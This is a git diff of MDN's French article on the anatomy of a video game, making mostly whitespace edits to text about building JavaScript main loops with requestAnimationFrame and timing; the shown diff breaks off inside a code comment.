diff options
Diffstat (limited to 'files/fr')
2820 files changed, 15551 insertions, 15582 deletions
diff --git a/files/fr/games/anatomy/index.md b/files/fr/games/anatomy/index.md index 1e7d38a462..ec03f5ae89 100644 --- a/files/fr/games/anatomy/index.md +++ b/files/fr/games/anatomy/index.md @@ -13,27 +13,27 @@ original_slug: Jeux/Anatomie {{IncludeSubnav("/fr/docs/Jeux")}} -Cet article se concentre sur l'anatomie et le flux de la plupart des jeux video à partir d'un point de vue technique, concernant la manière dont la boucle principale devrait tourner. Cela aide les débutants dans l'arène du développement à comprendre ce qui est requis quand il est question de bâtir un jeu et comment les standards du web comme JavaScript leur est offert comme outil. Les programmeurs de jeux expérimentés et nouveaux dans le développement web pourront aussi en tirer bénéfice. +Cet article se concentre sur l'anatomie et le flux de la plupart des jeux video à partir d'un point de vue technique, concernant la manière dont la boucle principale devrait tourner. Cela aide les débutants dans l'arène du développement à comprendre ce qui est requis quand il est question de bâtir un jeu et comment les standards du web comme JavaScript leur est offert comme outil. Les programmeurs de jeux expérimentés et nouveaux dans le développement web pourront aussi en tirer bénéfice. ## Présenter, accepter, interpréter, calculer, repéter -Le but de chaque jeu vidéo est de **présenter** à (aux) utilisateur(s) une situation, **accepter** leur entrée, **interpréter** ces signaux en actions, et **calculer** une nouvelle situation résultant de ces actes. Les jeux bouclent continuellement à travers ces niveaux, jusqu'à ce qu'une condition finale arrive (comme gagner, perdre, ou quitter le jeu). Sans surprise, ce modèle correspond à la manière dont un moteur de jeu est programmé. +Le but de chaque jeu vidéo est de **présenter** à (aux) utilisateur(s) une situation, **accepter** leur entrée, **interpréter** ces signaux en actions, et **calculer** une nouvelle situation résultant de ces actes. Les jeux bouclent continuellement à travers ces niveaux, jusqu'à ce qu'une condition finale arrive (comme gagner, perdre, ou quitter le jeu). Sans surprise, ce modèle correspond à la manière dont un moteur de jeu est programmé. Ces spécificités dépendent du jeu. -Certains jeu maintiennent ce cycle par les entrées du joueur. Imaginez que vous développez un jeu du type *"trouvez les différences entre ces deux images"*. Ces jeux **présentent** deux images à l'utilisateur; ils **accèptent** leur clics (ou touchés); ils **interprètent** l'entrée comme un succès, une erreur, une pause, une interaction de menu, etc.; finalement, ils **calculent** une scène mise à jour resultant de l'entrée de donnée. La boucle du jeu évolue par l'entrée de l'utilisateur et s'arrête jusqu'à ce qu'il en soumette une nouvelle. C'est plus une approche au coup par coup qui ne demande pas une mise à jour continuelle de chaque image, mais juste quand le joueur réagit. +Certains jeu maintiennent ce cycle par les entrées du joueur. Imaginez que vous développez un jeu du type *"trouvez les différences entre ces deux images"*. Ces jeux **présentent** deux images à l'utilisateur; ils **accèptent** leur clics (ou touchés); ils **interprètent** l'entrée comme un succès, une erreur, une pause, une interaction de menu, etc.; finalement, ils **calculent** une scène mise à jour resultant de l'entrée de donnée. La boucle du jeu évolue par l'entrée de l'utilisateur et s'arrête jusqu'à ce qu'il en soumette une nouvelle. C'est plus une approche au coup par coup qui ne demande pas une mise à jour continuelle de chaque image, mais juste quand le joueur réagit. -D'autres jeux demandent un contrôle précis à chaque fraction de seconde. Les principes sont les mêmes avec une légère différence: chaque animation fait progresser le cycle et tout changement d'entrée d'un utilisateur est capturé dès que possible. Ce modèle au coup par image est implementé dans ce que l'on appelle la **boucle principale**. Si vos boucles de jeu sont basées sur le temps alors ce sera là-dessus que seront basées vos simulations. +D'autres jeux demandent un contrôle précis à chaque fraction de seconde. Les principes sont les mêmes avec une légère différence: chaque animation fait progresser le cycle et tout changement d'entrée d'un utilisateur est capturé dès que possible. Ce modèle au coup par image est implementé dans ce que l'on appelle la **boucle principale**. Si vos boucles de jeu sont basées sur le temps alors ce sera là-dessus que seront basées vos simulations. -Mais parfois ce n'est pas un contrôle dans le temps. Votre boucle de jeu peut être similaire à l'exemple *cherchez les différences* et se baser directement sur les entrées. Cela peut être nécessaire d'avoir à la fois les entrées et un temps simulé. Cela peut aussi être basé sur une boucle qui utilise d'autre chose. +Mais parfois ce n'est pas un contrôle dans le temps. Votre boucle de jeu peut être similaire à l'exemple *cherchez les différences* et se baser directement sur les entrées. Cela peut être nécessaire d'avoir à la fois les entrées et un temps simulé. Cela peut aussi être basé sur une boucle qui utilise d'autre chose. -Le JavaScript moderne — comme décrit dans les prochaines sections — heureusement, facilite le développement d'une boucle efficace éxécutée une fois par seconde. Bien sûr, votre jeu sera optimisé au long de sa conception. Si quelque chose doit s'apparenter à un évènement peu fréquent alors il sera préférable de briser la boucle principale (mais pas tout le temps). +Le JavaScript moderne — comme décrit dans les prochaines sections — heureusement, facilite le développement d'une boucle efficace éxécutée une fois par seconde. Bien sûr, votre jeu sera optimisé au long de sa conception. Si quelque chose doit s'apparenter à un évènement peu fréquent alors il sera préférable de briser la boucle principale (mais pas tout le temps). -## Construire une boucle principale en JavaScript +## Construire une boucle principale en JavaScript -JavaScript travaille beaucoup mieux avec des évènements et des fonctions de rappel. Les navigateur modernes s'efforcent d'appeler des méthodes au moment où elles sont nécessaires et mises en pause (ou font leur travail) le reste du temps. Il est de bonne pratique d'attacher votre code au moment le plus approprié. Pensez à quel moment votre fonction à besoin d'être appelée sur un interval de temps strict, à chaque image, ou seulement après que quelque chose se soit passé. Être plus spécifique avec le navigateur quand votre fonction à besoin d'être appelée permet au navigateur d'être optimisé une fois votre boucle appelée. De plus, cela peut rendre votre tâche plus aisée. +JavaScript travaille beaucoup mieux avec des évènements et des fonctions de rappel. Les navigateur modernes s'efforcent d'appeler des méthodes au moment où elles sont nécessaires et mises en pause (ou font leur travail) le reste du temps. Il est de bonne pratique d'attacher votre code au moment le plus approprié. Pensez à quel moment votre fonction à besoin d'être appelée sur un interval de temps strict, à chaque image, ou seulement après que quelque chose se soit passé. Être plus spécifique avec le navigateur quand votre fonction à besoin d'être appelée permet au navigateur d'être optimisé une fois votre boucle appelée. De plus, cela peut rendre votre tâche plus aisée. -Certain programmes ont besoin d'être lancés image-par-image alors pourquoi y attacher quelque chose d'autre que le taux de rafraîchissement du navigateur ? Dans le web, `{{ domxref("window.requestAnimationFrame()") }}` sera la fondation de bien des boucles principales. Une fonction de rappel doit lui être passée quand elle est appelée. Cette fonction de rappel sera éxécutée à un moment précis avant le prochain rafraîchissement. Voici un exemple d'une simple boucle principale: +Certain programmes ont besoin d'être lancés image-par-image alors pourquoi y attacher quelque chose d'autre que le taux de rafraîchissement du navigateur ? Dans le web, `{{ domxref("window.requestAnimationFrame()") }}` sera la fondation de bien des boucles principales. Une fonction de rappel doit lui être passée quand elle est appelée. Cette fonction de rappel sera éxécutée à un moment précis avant le prochain rafraîchissement. Voici un exemple d'une simple boucle principale: window.main = function () { window.requestAnimationFrame( main ); @@ -43,19 +43,19 @@ Certain programmes ont besoin d'être lancés image-par-image alors pourquoi main(); //Débuter le cycle. -**Note**: Dans chaque méthodes `main()` présentées ici, nous planifions un nouveau `requestAnimationFrame` avant de lancer le contenu de notre boucle. Ce n'est pas par accident et c'est considéré comme une meilleure pratique. Appeler le prochain `requestAnimationFrame` plus tôt assure que le navigateur la recevra à temps pour le planifier convenablement même si vous image courrante rate la fenêtre de synchronisation principale (VSync). +**Note**: Dans chaque méthodes `main()` présentées ici, nous planifions un nouveau `requestAnimationFrame` avant de lancer le contenu de notre boucle. Ce n'est pas par accident et c'est considéré comme une meilleure pratique. Appeler le prochain `requestAnimationFrame` plus tôt assure que le navigateur la recevra à temps pour le planifier convenablement même si vous image courrante rate la fenêtre de synchronisation principale (VSync). -La portion de code ci-dessus comporte deux déclarations. La première créée une fonction comme variable globale appelée `main()`. Cette fonction effectue un travail et indique aussi au navigateur de s'appeler elle-même au prochain `window.requestAnimationFrame()`. La seconde déclaration appelle la fonction `main()`, definie dans la première déclaration. Parceque `main()` est appelé une fois dans la seconde déclaration et chaque appel de celle-ci la place dans la queue des choses à faire à chaque image, `main()` est synchronisée à votre taux de rafraîchissement. +La portion de code ci-dessus comporte deux déclarations. La première créée une fonction comme variable globale appelée `main()`. Cette fonction effectue un travail et indique aussi au navigateur de s'appeler elle-même au prochain `window.requestAnimationFrame()`. La seconde déclaration appelle la fonction `main()`, definie dans la première déclaration. Parceque `main()` est appelé une fois dans la seconde déclaration et chaque appel de celle-ci la place dans la queue des choses à faire à chaque image, `main()` est synchronisée à votre taux de rafraîchissement. Bien sûr, cette boucle n'est pas parfaite. Avant que nous discutions de manières de la modifier, parlons de ce qu'elle fait de bien. -Temporiser la boucle principale avec le rafraîchissement du navigateur permet à votre boucle d'être éxécutée aussi fréquemment que le navigateur à besoin de rafraîchir l'écran. Cela vous permet de contrôler chaque image de votre animation. C'est aussi beaucoup plus simple car `main()` est la seule fonction qui est bouclée. Dans un jeu de tir à la première personne (ou un jeu équivalent) on présente une nouvelle scène à chaque image. Vous ne pouvez donc pas obtenir quelque chose de plus fluide que cela. +Temporiser la boucle principale avec le rafraîchissement du navigateur permet à votre boucle d'être éxécutée aussi fréquemment que le navigateur à besoin de rafraîchir l'écran. Cela vous permet de contrôler chaque image de votre animation. C'est aussi beaucoup plus simple car `main()` est la seule fonction qui est bouclée. Dans un jeu de tir à la première personne (ou un jeu équivalent) on présente une nouvelle scène à chaque image. Vous ne pouvez donc pas obtenir quelque chose de plus fluide que cela. -Pourtant n'imaginez pas que les animations requièrent un contrôle image-par-image. De simples animations peuvent être éxécutées, même avec une accélération matérielle, avec des animations CSS et d'autres outils inclus dans le navigateur. Bon nombre vont vous faciliter la vie. +Pourtant n'imaginez pas que les animations requièrent un contrôle image-par-image. De simples animations peuvent être éxécutées, même avec une accélération matérielle, avec des animations CSS et d'autres outils inclus dans le navigateur. Bon nombre vont vous faciliter la vie. -## Construire une *meilleure* boucle principale en Javascript +## Construire une *meilleure* boucle principale en Javascript -Il y a deux problèmes évidents avec notre boucle principale précédente: `main()` pollue l'objet `{{ domxref("window") }}` (où sont stockées toutes les variables globales) et l'exemple donné ne nous permet pas de *stopper* la boucle à moins que l'onglet du navigateur ne soit fermé ou rafraîchit. Pour le premier problème, si vous désirez que la boucle principale tourne simplement sans y accéder directement, vous pouvez en crééer une fonction à accès immédiat -(FAI ou "Immediately-Invoked Function Expression - IIFE"). +Il y a deux problèmes évidents avec notre boucle principale précédente: `main()` pollue l'objet `{{ domxref("window") }}` (où sont stockées toutes les variables globales) et l'exemple donné ne nous permet pas de *stopper* la boucle à moins que l'onglet du navigateur ne soit fermé ou rafraîchit. Pour le premier problème, si vous désirez que la boucle principale tourne simplement sans y accéder directement, vous pouvez en crééer une fonction à accès immédiat -(FAI ou "Immediately-Invoked Function Expression - IIFE"). /* * Débuter avec le point virgue au cas où le code qui réside au-dessus de cet exemple @@ -74,11 +74,11 @@ Il y a deux problèmes évidents avec notre boucle principale précédente: `mai main(); // Débute le cycle })(); -Quand le navigateur passe à travers la FAI, cela va définir votre boucle principale et immédiatement la mettre en file d'attente pour la prochaine image. Cela ne sera attaché à aucun objet et `main` (ou `main()` pour les méthodes) sera un nom valide inutilisé dans le reste de l'application, libre d'être défini comme quelque chose d'autre. +Quand le navigateur passe à travers la FAI, cela va définir votre boucle principale et immédiatement la mettre en file d'attente pour la prochaine image. Cela ne sera attaché à aucun objet et `main` (ou `main()` pour les méthodes) sera un nom valide inutilisé dans le reste de l'application, libre d'être défini comme quelque chose d'autre. -Note: En pratique, il est plus courant de prévenir le prochain requestAnimationFrame() avec une déclaration "if", plutôt que d'appeler cancelAnimationFrame(). +Note: En pratique, il est plus courant de prévenir le prochain requestAnimationFrame() avec une déclaration "if", plutôt que d'appeler cancelAnimationFrame(). -Pour le second problème, arrêter la boucle principale, vous aurez besoin d'annuler l'appel à `main()` avec `{{ domxref("window.cancelAnimationFrame()") }}`. Vous aurez besoin de passer la valeur donneé par `cancelAnimationFrame()` en référence à `requestAnimationFrame()` quand elle a été appelée en dernier. Assumons que vos fonctions de jeu et les variables sont bâties dans un espace de nom appelé `MyGame`. Avec notre dernier exemple étendu, la boucle principale aura maintenant l'air de ceci: +Pour le second problème, arrêter la boucle principale, vous aurez besoin d'annuler l'appel à `main()` avec `{{ domxref("window.cancelAnimationFrame()") }}`. Vous aurez besoin de passer la valeur donneé par `cancelAnimationFrame()` en référence à `requestAnimationFrame()` quand elle a été appelée en dernier. Assumons que vos fonctions de jeu et les variables sont bâties dans un espace de nom appelé `MyGame`. Avec notre dernier exemple étendu, la boucle principale aura maintenant l'air de ceci: /* * Débuter avec le point virgue au cas où le code qui réside au-dessus de cet exemple @@ -99,34 +99,34 @@ Pour le second problème, arrêter la boucle principale, vous aurez besoin d'ann main(); // Début du cycle })(); -Nous avons maintenant une variable déclarée dans l'espace de nom `MyGame`, que nous appelons `stopMain`, qui contient la valeur de l'appel de notre boucle principale `requestAnimationFrame()` la plus récente. À tout moment, nous pouvons stopper la boucle principale en disant au navigateur d'annuler la requête qui correspond à notre valeur. +Nous avons maintenant une variable déclarée dans l'espace de nom `MyGame`, que nous appelons `stopMain`, qui contient la valeur de l'appel de notre boucle principale `requestAnimationFrame()` la plus récente. À tout moment, nous pouvons stopper la boucle principale en disant au navigateur d'annuler la requête qui correspond à notre valeur. window.cancelAnimationFrame( MyGame.stopMain ); -La clé pour programmer une boucle principale, en JavaScript, est d'attacher n'importe quel évènement qui doit diriger votre action et porter attention aux systèmes interconnectés. Vous pourriez avoir différents composants dirigés par différents évènements. Cela paraît comme d'une complexité inutile mais cela peut être une bonne optimisation (pas nécessairement, bien sûr). Le problème c'est que vous ne programmez pas une boucle principale typique. En Javascript, vous utilisez la boucle principale du navigateur et vous essayez de le faire avec efficacité. +La clé pour programmer une boucle principale, en JavaScript, est d'attacher n'importe quel évènement qui doit diriger votre action et porter attention aux systèmes interconnectés. Vous pourriez avoir différents composants dirigés par différents évènements. Cela paraît comme d'une complexité inutile mais cela peut être une bonne optimisation (pas nécessairement, bien sûr). Le problème c'est que vous ne programmez pas une boucle principale typique. En Javascript, vous utilisez la boucle principale du navigateur et vous essayez de le faire avec efficacité. -## Construire une boucle principale *encore plus optimisée* en JavaScript +## Construire une boucle principale *encore plus optimisée* en JavaScript -En fin de compte, en JavaScript, le navigateur roule sa propre boucle principale et votre code existe dans certaines de ses étapes. La section ci-dessus décrit des boucles principales qui essaient de ne pas lâcher le contrôle du navigateur. Ces méthodes principales s'attachent à `window.requestAnimationFrame()`, qui demandent au navigateur le contrôle sur la prochaine image qui arrive. C'est au navigateur de décider de la gestion de sa boucle principale. Les spécifications du [W3C en matière de requestAnimationFrame](http://www.w3.org/TR/animation-timing/) ne définissent pas exactement quand les navigateur doivent éxécuter les rappels de requestAnimationFrame. Cela pourrait être bénéfique car cela laisse aux concepteurs de navigateurs la liberté d'expérimenter les solutions qu'ils pensent être les meilleures au travers du temps. +En fin de compte, en JavaScript, le navigateur roule sa propre boucle principale et votre code existe dans certaines de ses étapes. La section ci-dessus décrit des boucles principales qui essaient de ne pas lâcher le contrôle du navigateur. Ces méthodes principales s'attachent à `window.requestAnimationFrame()`, qui demandent au navigateur le contrôle sur la prochaine image qui arrive. C'est au navigateur de décider de la gestion de sa boucle principale. Les spécifications du [W3C en matière de requestAnimationFrame](http://www.w3.org/TR/animation-timing/) ne définissent pas exactement quand les navigateur doivent éxécuter les rappels de requestAnimationFrame. Cela pourrait être bénéfique car cela laisse aux concepteurs de navigateurs la liberté d'expérimenter les solutions qu'ils pensent être les meilleures au travers du temps. -Les versions modernes de Firefox et Google Chrome (et probablement d'autres)*tentent* de connecter les rappels de `requestAnimationFrame` à leur fil principal au tout début de chaque image. De ce fait, le déroulement principal *essaye* d'être le plus possible comme ci-dessous: +Les versions modernes de Firefox et Google Chrome (et probablement d'autres)*tentent* de connecter les rappels de `requestAnimationFrame` à leur fil principal au tout début de chaque image. De ce fait, le déroulement principal *essaye* d'être le plus possible comme ci-dessous: 1. Débuter une nouvelle image (pendant que la précédente est prise en charge par l'affichage). -2. Passer à travers la liste de retours `requestAnimationFrame` et les appeler. +2. Passer à travers la liste de retours `requestAnimationFrame` et les appeler. 3. Passer le ramasse-miettes et autres tâches par-images quand les retours ci-dessous cessent de controler le fil principal. -4. Se mettre en veille (à moins qu'un évènement interrompe la sieste du navigateur) jusqu'à ce que le moniteur ne soit prêt pour votre image ([VSync](http://www.techopedia.com/definition/92/vertical-sync-vsync)) et répète. +4. Se mettre en veille (à moins qu'un évènement interrompe la sieste du navigateur) jusqu'à ce que le moniteur ne soit prêt pour votre image ([VSync](http://www.techopedia.com/definition/92/vertical-sync-vsync)) et répète. -Vous pouvez considérer que développer une application en temps réél est comme avoir un temps donné pour faire le travail. Toutes les étapes ci-dessus doivent prendre effet toutes les 16.5 millisecondes pour fonctionner avec un affichage de 60Hz. Les navigateurs invoquent leur code aussitôt que possible pour donner un maximum de temps aux calculs. Votre fil principal va souvent débuter par les tâches qui ne sont même pas dans le fil principal (tel que la rasterisation ou les ombrages en WebGL). Les longs calculs peuvent être fait par un Web Worker ou une accélération matérielle en même temps que le navigateur utilise son propre fil principal pour passer le ramasse-miette, ces autres tâches, ou gérer les évènements asynchrones. +Vous pouvez considérer que développer une application en temps réél est comme avoir un temps donné pour faire le travail. Toutes les étapes ci-dessus doivent prendre effet toutes les 16.5 millisecondes pour fonctionner avec un affichage de 60Hz. Les navigateurs invoquent leur code aussitôt que possible pour donner un maximum de temps aux calculs. Votre fil principal va souvent débuter par les tâches qui ne sont même pas dans le fil principal (tel que la rasterisation ou les ombrages en WebGL). Les longs calculs peuvent être fait par un Web Worker ou une accélération matérielle en même temps que le navigateur utilise son propre fil principal pour passer le ramasse-miette, ces autres tâches, ou gérer les évènements asynchrones. -Bien que nous ne discutons pas du gain de temps, plusieurs navigateur ont un outil appelé *Temps Haute Résolution*. L'objet {{ domxref("Date") }} n'est plus la méthode reconnue pour temporiser les évènements car elle est très imprécise et peut être modifiée par l'horloge système. Le Temps Haute Résolution, d'un autre côté, compte le nombre de millisecondes depuis `navigationStart` (quand le document précédent est déchargé). Cette valeur est retournée en un nombre décimal précis au millième de seconde. Il est connu comme étant `{{ domxref("DOMHighResTimeStamp") }}` mais, à toutes fins utiles, considérez le comme un nombre décimal à virgule flottante. +Bien que nous ne discutons pas du gain de temps, plusieurs navigateur ont un outil appelé *Temps Haute Résolution*. L'objet {{ domxref("Date") }} n'est plus la méthode reconnue pour temporiser les évènements car elle est très imprécise et peut être modifiée par l'horloge système. Le Temps Haute Résolution, d'un autre côté, compte le nombre de millisecondes depuis `navigationStart` (quand le document précédent est déchargé). Cette valeur est retournée en un nombre décimal précis au millième de seconde. Il est connu comme étant `{{ domxref("DOMHighResTimeStamp") }}` mais, à toutes fins utiles, considérez le comme un nombre décimal à virgule flottante. -**Note**: Les systèmes (matériels ou logiciels) qui ne sont pas capables d'avoir une précision à la microseconde sont autorisés à fournir une précision à la milliseconde au minimum. Sinon, ils devraient fournir une précision de 0.001ms s'ils en sont capables. +**Note**: Les systèmes (matériels ou logiciels) qui ne sont pas capables d'avoir une précision à la microseconde sont autorisés à fournir une précision à la milliseconde au minimum. Sinon, ils devraient fournir une précision de 0.001ms s'ils en sont capables. -Seule, cette valeur n'est pas très utile, considérant qu'il est relatif à un évènement peu intéressant, mais ils peut quand même être soustrait d'une autre prise de temps pour déterminer plus précisément combien de temps s'est déroulé entre ces deux poins. Pour obtenir une de ces prises de temps, vous pouvez appeler la fonction `window.performance.now()` et stocker le résultat dans une variable. +Seule, cette valeur n'est pas très utile, considérant qu'il est relatif à un évènement peu intéressant, mais ils peut quand même être soustrait d'une autre prise de temps pour déterminer plus précisément combien de temps s'est déroulé entre ces deux poins. Pour obtenir une de ces prises de temps, vous pouvez appeler la fonction `window.performance.now()` et stocker le résultat dans une variable. var tNow = window.performance.now(); -Retournons sur le sujet de la boucle principale. Il vous arrivera souvent de vouloir savoir quand votre boucle principale a été invoquée. Parce que cela est commun, la fonction `window.requestAnimationFrame()` fourni toujours un `DOMHighResTimeStamp` avec un argument de retour quand elles sont éxécutées. Cela mène à une amélioration de notre boucle précédente. +Retournons sur le sujet de la boucle principale. Il vous arrivera souvent de vouloir savoir quand votre boucle principale a été invoquée. Parce que cela est commun, la fonction `window.requestAnimationFrame()` fourni toujours un `DOMHighResTimeStamp` avec un argument de retour quand elles sont éxécutées. Cela mène à une amélioration de notre boucle précédente. /* * Débuter avec le point virgue au cas où le code qui réside au-dessus de cet exemple @@ -148,11 +148,11 @@ Retournons sur le sujet de la boucle principale. Il vous arrivera souvent de vou main(); // Débute le cycle })(); -Plusieurs autres optimisations sont possibles et cela dépend vraiment de ce que votre jeu tente d'accomplir. Le genre de votre jeu va visiblement faire la différence mais il peut être aussi subtil que cela. Vous pourriez dessiner un pixel à la fois sur un canvas ou vous pourriez étager des éléments du DOM (incluant de multiples canvas de WebGL avec des arrières-plans transparents si vous le désirez) en une hierarchie complexe. Chacunes de ces solutions mènera à des contraintes et opportunités différentes. +Plusieurs autres optimisations sont possibles et cela dépend vraiment de ce que votre jeu tente d'accomplir. Le genre de votre jeu va visiblement faire la différence mais il peut être aussi subtil que cela. Vous pourriez dessiner un pixel à la fois sur un canvas ou vous pourriez étager des éléments du DOM (incluant de multiples canvas de WebGL avec des arrières-plans transparents si vous le désirez) en une hierarchie complexe. Chacunes de ces solutions mènera à des contraintes et opportunités différentes. ## Il est temps de la... décision -Vous aurez besoin de faire un choix difficile concernant votre boucle principale: comment simuler l'évolution du temps. Si vous désirez un contrôle par image alors vous aurez besoin de déterminer combien sera-t-il nécessaire à votre jeu d'être remis à jour et dessiné. Vous pourriez même vouloir une mise à jour et dessiner à différents taux (de rafraîchissement). Vous aurez aussi besoin de considérer combien comment votre jeu échouera gracieusement si le système de l'utilisateur ne peut soutenir la charge de travail. Commençons par considérer que vous serez capables de gérer les entrées de l'utilisateur et de mettre à jour l'état du jeu à chaque fois que vous dessinez. Nous ramifierons après. +Vous aurez besoin de faire un choix difficile concernant votre boucle principale: comment simuler l'évolution du temps. Si vous désirez un contrôle par image alors vous aurez besoin de déterminer combien sera-t-il nécessaire à votre jeu d'être remis à jour et dessiné. Vous pourriez même vouloir une mise à jour et dessiner à différents taux (de rafraîchissement). Vous aurez aussi besoin de considérer combien comment votre jeu échouera gracieusement si le système de l'utilisateur ne peut soutenir la charge de travail. Commençons par considérer que vous serez capables de gérer les entrées de l'utilisateur et de mettre à jour l'état du jeu à chaque fois que vous dessinez. Nous ramifierons après. **Note :** Changer la manière dont votre boucle principale gère le temps est un cauchemar de débuggage, partout. Pensez à vos besoins, précautionneusement, avant de travailler sur votre boucle principale. @@ -180,42 +180,42 @@ Si votre jeu peut atteindre le maximum du taux de rafraîchissement sur n'import main(); // Start the cycle })(); -Si le maximum du taux de rafraîchissement ne peut être atteind, les paramètres de qualités pourraient être mis à jour pour rester sous notre gain en temps. L'exemple le plus célèbre de ce concept est le jeu de id Software, RAGE. Ce jeu a retiré à l'utilisateur le contrôle afin de conserver son temps de calcul à environ 16ms (ou environ 60ips). Si le calcul prenait trop de temps alors la résolution serait diminuée, les textures et autres éléments échoueraient au chargement et à l'affichage, et ainsi de suite. Ce cas (non-web) a créé plusieurs hypothèses et faits: +Si le maximum du taux de rafraîchissement ne peut être atteind, les paramètres de qualités pourraient être mis à jour pour rester sous notre gain en temps. L'exemple le plus célèbre de ce concept est le jeu de id Software, RAGE. Ce jeu a retiré à l'utilisateur le contrôle afin de conserver son temps de calcul à environ 16ms (ou environ 60ips). Si le calcul prenait trop de temps alors la résolution serait diminuée, les textures et autres éléments échoueraient au chargement et à l'affichage, et ainsi de suite. Ce cas (non-web) a créé plusieurs hypothèses et faits: - Chaque image d'animation compte pour une entrée utilisateur. - Aucune image n'a besoin d'être extrapolée (devinée) car chaque élément à sa propre mise à jour. -- Les systèmes simulés peuvent en gros considérer que chaque mise à jour complète est d'environ 16ms. -- Permettant à l'utilisateur le contrôle à travers des paramètres serait un cauchemar. +- Les systèmes simulés peuvent en gros considérer que chaque mise à jour complète est d'environ 16ms. +- Permettant à l'utilisateur le contrôle à travers des paramètres serait un cauchemar. - Des moniteur différents apportent des taux de rafraîchissement différents: 30 FPS, 75 FPS, 100 FPS, 120 FPS, 144 FPS, etc. -- Des systèmes qui ne sont pas capables de fonctionner avec 60 FPS vont perdre en qualité pour permettre au jeu de rouler à une vitesse optimale (éventuellement, il échouera complètement si cela devient trop bas). +- Des systèmes qui ne sont pas capables de fonctionner avec 60 FPS vont perdre en qualité pour permettre au jeu de rouler à une vitesse optimale (éventuellement, il échouera complètement si cela devient trop bas). -### Autres manières de gérer les besoins du taux de rafraîchissement variable +### Autres manières de gérer les besoins du taux de rafraîchissement variable -D'autres méthodes d'approcher le problème existent. +D'autres méthodes d'approcher le problème existent. -Une technique commune est de mettre à jour la simulation à une fréquence constante et dessiner autant (ou au moins) que le taux actuel le permet. Cette méthode de mise à jour peut continuer à boucler sans se soucier de ce que l'utilisateur voit. Cette méthode peut voir la dernière mise à jour, et quand elle est arrivée. Quand le dessin sait quand il est représenté, et le temps simulé pour la dernière mise à jour, il peut prédire une image plausible à dessiner. Cela n'a pas d'importance si c'est plus fréquent que la mise à jour officielle (ou même moins fréquente). La méthode de mise à jour établis des points de contrôle, autant que le système le permet, la méthode de rendu va dessiner autour de ces intants de temps. Il y a plusieurs manières de séparer la méthode de mise à jour dans les standards du web: +Une technique commune est de mettre à jour la simulation à une fréquence constante et dessiner autant (ou au moins) que le taux actuel le permet. Cette méthode de mise à jour peut continuer à boucler sans se soucier de ce que l'utilisateur voit. Cette méthode peut voir la dernière mise à jour, et quand elle est arrivée. Quand le dessin sait quand il est représenté, et le temps simulé pour la dernière mise à jour, il peut prédire une image plausible à dessiner. Cela n'a pas d'importance si c'est plus fréquent que la mise à jour officielle (ou même moins fréquente). La méthode de mise à jour établis des points de contrôle, autant que le système le permet, la méthode de rendu va dessiner autour de ces intants de temps. Il y a plusieurs manières de séparer la méthode de mise à jour dans les standards du web: -- Dessiner à chaque `requestAnimationFrame` et mettre à jour {{ domxref("window.setInterval") }} ou {{ domxref("window.setTimeout") }}. +- Dessiner à chaque `requestAnimationFrame` et mettre à jour {{ domxref("window.setInterval") }} ou {{ domxref("window.setTimeout") }}. - - Cela utilise le temps du processeur même quand il n'a pas l'attention ou qu'il est minimisé, qu'il ne monopolise pas le fil principal, et est probablement un artefact de la traditionnelle boucle principale (mais plus simple). + - Cela utilise le temps du processeur même quand il n'a pas l'attention ou qu'il est minimisé, qu'il ne monopolise pas le fil principal, et est probablement un artefact de la traditionnelle boucle principale (mais plus simple). -- Dessiner à chaque `requestAnimationFrame` et mettre à jour sur un `setInterval` ou `setTimeout` dans un [Web Worker](/fr/docs/Web/Guide/Performance/Using_web_workers). +- Dessiner à chaque `requestAnimationFrame` et mettre à jour sur un `setInterval` ou `setTimeout` dans un [Web Worker](/fr/docs/Web/Guide/Performance/Using_web_workers). - - C'est la même chose que ci-dessus, excepté que la mise à jour ne monopolise pas le fil principal (ni le fil principal ne le monopolise). C'est une solution plus complexe, et ce pourrait être trop de travail pour de simples mises à jours. + - C'est la même chose que ci-dessus, excepté que la mise à jour ne monopolise pas le fil principal (ni le fil principal ne le monopolise). C'est une solution plus complexe, et ce pourrait être trop de travail pour de simples mises à jours. -- Dessiner à chaque `requestAnimationFrame` et l'utiliser pour solliciter un Web Worker qui contient la méthode de mise à jour avec la quantité de temps à calculer, s'il y a lieu. +- Dessiner à chaque `requestAnimationFrame` et l'utiliser pour solliciter un Web Worker qui contient la méthode de mise à jour avec la quantité de temps à calculer, s'il y a lieu. - - Cela se met en veille jusqu'à ce que `requestAnimationFrame` est appelée et ne pollue pas le fil principal, et de plus vous ne vous reposez pas sur d'anciennes méthodes. À nouveau, c'est un peu plus complexe que les deux premières options, et *débuter* chaque mise à jour sera bloqué tant que le navigateur ne décide de lancer les retours rAF. + - Cela se met en veille jusqu'à ce que `requestAnimationFrame` est appelée et ne pollue pas le fil principal, et de plus vous ne vous reposez pas sur d'anciennes méthodes. À nouveau, c'est un peu plus complexe que les deux premières options, et *débuter* chaque mise à jour sera bloqué tant que le navigateur ne décide de lancer les retours rAF. Chacune de ces méthodes ont un compromis similaire: -- Les utilisateurs peuvent éviter le rendu d'images ou interpoler celles en sus dépendant de leurs performances. -- Vous pouvez compter sur tous les utilisateurs mettant à jours les variables non-cosmetiques à la même fréquence constante, moins quelques hoquets. +- Les utilisateurs peuvent éviter le rendu d'images ou interpoler celles en sus dépendant de leurs performances. +- Vous pouvez compter sur tous les utilisateurs mettant à jours les variables non-cosmetiques à la même fréquence constante, moins quelques hoquets. - Beaucoup plus compliquée à programmer que la boucle de base que nous avons vu précédemment. -- Les entrées utilisateurs sont complètement ignorées jusqu'à la prochaine mise à jour (même si l'utilisateur à un système rapide). +- Les entrées utilisateurs sont complètement ignorées jusqu'à la prochaine mise à jour (même si l'utilisateur à un système rapide). - L'interpolation obligatoire à un défaut de performance obligatoire. -Une méthode séparée de mise à jour et de dessin pourrait avoir l'air de l'exemple suivant. Pour les besoins de la démonstration, l'exemple est basé sur le troisième point, sans l'utilisation des Web Workers par soucis de lecture (et, soyons honnête, pour faciliter l'écriture). +Une méthode séparée de mise à jour et de dessin pourrait avoir l'air de l'exemple suivant. Pour les besoins de la démonstration, l'exemple est basé sur le troisième point, sans l'utilisation des Web Workers par soucis de lecture (et, soyons honnête, pour faciliter l'écriture). _Note: Cet exemple spécifiquement, aurait besoin d'une relecture._ @@ -236,12 +236,12 @@ _Note: Cet exemple spécifiquement, aurait besoin d'une relecture._ * numTicks est combien de mises à jour auraient dû avoir lieu entre 2 rendus d'images. * * render() se voit passé tFrame car il est considéré que la méthode de rendu va calculer - combien de temps se sera écoulé depuis la mise à jour la plus récente pour - extrapolation (purement cosmétique pour des systèmes rapides). La scène est dessinée. + combien de temps se sera écoulé depuis la mise à jour la plus récente pour + 